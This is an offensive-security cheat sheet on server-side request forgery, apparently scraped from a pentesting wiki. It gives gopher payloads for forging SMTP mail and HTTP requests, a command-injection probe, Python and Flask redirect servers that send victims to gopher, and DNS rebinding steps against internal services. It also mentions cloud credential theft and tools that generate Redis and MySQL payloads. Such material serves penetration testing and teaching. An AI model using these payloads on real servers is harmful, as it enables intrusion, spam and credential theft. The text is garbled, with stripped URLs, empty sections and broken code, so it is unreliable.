SSRF (Server Side Request Forgery)

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:
Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. (From here)

Capture SSRF

The first thing you need to do is to capture a SSRF interaction provoked by you. To capture a HTTP or DNS interaction you can use tools such as:

Whitelisted Domains Bypass

Usually you will find that the SSRF is only working in certain whitelisted domains or URL. In the following page you have a compilation of techniques to try to bypass that whitelist:

Bypass via open redirect

If the server is correctly protected you could bypass all the restrictions by exploiting an Open Redirect inside the web page. Because the webpage will allow SSRF to the same domain and probably will follow redirects, you can exploit the Open Redirect to make the server to access internal any resource. Read more here:





The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:


A network protocol used for secure file transfer over secure shell


Trivial File Transfer Protocol, works over UDP


Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.


Using this protocol you can specify the IP, port and bytes you want the server to send. Then, you can basically exploit a SSRF to communicate with any TCP server (but you need to know how to talk to the service first). Fortunately, you can use Gopherus to create payloads for several services. Additionally, remote-method-guesser can be used to create gopher payloads for Java RMI services.
Gopher smtp
ssrf.php?url=gopher://[email protected]%3E%250d%250aRCPT%20TO%3A%[email protected]%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%[email protected]%3E%250d%250aTo%3A%20%3Cvic[email protected]%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<[email protected]>
From: [Hacker] <[email protected]>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
Gopher HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP — Back connect to 1337
header("Location: gopher://!");
?>Now query it.


From 1. connect with SSRF on smtp localhost:25 2. from the first line get the internal domain name 220 ESMTP Sendmail 3. search on github, find subdomains 4. connect

Curl URL globbing - WAF bypass

If the SSRF is executed by curl, curl has a feature called URL globbing that could be useful to bypass WAFs. For example in this writeup you can find this example for a path traversal via file protocol:

Capture SSRF Requests

SSRF via Referrer header

Some applications employ server-side analytics software that tracks visitors. This software often logs the Referrer header in requests, since this is of particular interest for tracking incoming links. Often the analytics software will actually visit any third-party URL that appears in the Referrer header. This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. As a result, the Referer header often represents fruitful attack surface for SSRF vulnerabilities. To discover this kind of "hidden" vulnerabilities you could use the plugin "Collaborator Everywhere" from Burp.

SSRF via SNI data from certificate

The simplest misconfiguration that would allow you to connect to an arbitrary backend would look something like this:
stream {
server {
listen 443;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
Here, the SNI field value is used directly as the address of the backend.
With this insecure configuration, we can exploit the SSRF vulnerability simply by specifying the desired IP or domain name in the SNI field. For example, the following command would force Nginx to connect to
openssl s_client -servername "" -crlf

SSRF with Command Injection

It might be worth trying a payload like: url=`whoami`

PDFs Rendering

If the web page is automatically creating a PDF with some information you have provided, you can insert some JS that will be executed by the PDF creator itself (the server) while creating the PDF and you will be able to abuse a SSRF. Find more information here.

From SSRF to DoS

Create several sessions and try to download heavy files exploiting the SSRF from the sessions.

SSRF PHP Functions

SSRF Redirect to Gopher

For some exploitations you might need to send a redirect response (potentially to use a different protocol like gopher). Here you have different python codes to respond with a redirect:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_header("Location", "gopher://")
httpd = HTTPServer(('', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
def root():
return redirect('gopher://', code=301)
if __name__ == "__main__":'adhoc', debug=True, host="", port=8443)
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

DNS Rebidding CORS/SOP bypass

If you are having problems to exfiltrate content from a local IP because of CORS/SOP, DNS Rebidding can be used to bypass that limitation:

Automated DNS Rebidding

Singularity of Origin is a tool to perform DNS rebinding attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine's IP address and to serve attack payloads to exploit vulnerable software on the target machine.
Check out also the publicly running server in****

DNS Rebidding + TLS Session ID/Session ticket

  • SSRF
  • Outbound TLS sessions
  • Stuff on local ports
  1. 1.
    Ask the user/bot access a domain controlled by the attacker
  2. 2.
    The TTL of the DNS is 0 sec (so the victim will check the IP of the domain again soon)
  3. 3.
    A TLS connection is created between the victim and the domain of the attacker. The attacker introduces the payload inside the Session ID or Session Ticket.
  4. 4.
    The domain will start an infinite loop of redirects against himself. The goal of this is to make the user/bot access the domain until it perform again a DNS request of the domain.
  5. 5.
    In the DNS request a private IP address is given now ( for example)
  6. 6.
    The user/bot will try to reestablish the TLS connection and in order to do so it will send the Session ID/Ticket ID (where the payload of the attacker was contained). So congratulations you managed to ask the user/bot attack himself.
Note that during this attack, if you want to attack localhost:11211 (memcache) you need to make the victim establish the initial connection with (the port must always be the same). To perform this attack you can use the tool: For more information take a look to the talk where this attack is explained:

Blind SSRF

The difference between a blind SSRF and a not blind one is that in the blind you cannot see the response of the SSRF request. Then, it is more difficult to exploit because you will be able to exploit only well-known vulnerabilities.

Time based SSRF

Checking the time of the responses from the server it might be possible to know if a resource exists or not (maybe it takes more time accessing an existing resource than accessing one that doesn't exist)

Cloud SSRF Exploitation

If you find a SSRF vulnerability in a machine running inside a cloud environment you might be able to obtain interesting information about the cloud environment and even credentials:

SSRF Vulnerable Platforms

Several known platforms contains or has contained SSRF vulnerabilities, check them in:



Tool to detect and exploit SSRF vulnerabilities


This tool generates Gopher payloads for:
  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache
remote-method-guesser is a Java RMI vulnerability scanner that supports attack operations for most common Java RMI vulnerabilities. Most of the available operations support the --ssrf option, to generate an SSRF payload for the requested operation. Together with the --gopher option, ready to use gopher payloads can be generated directly.
SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic through HTTP servers vulnerable to Server-Side Request Forgery (SSRF).

To practice


Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today: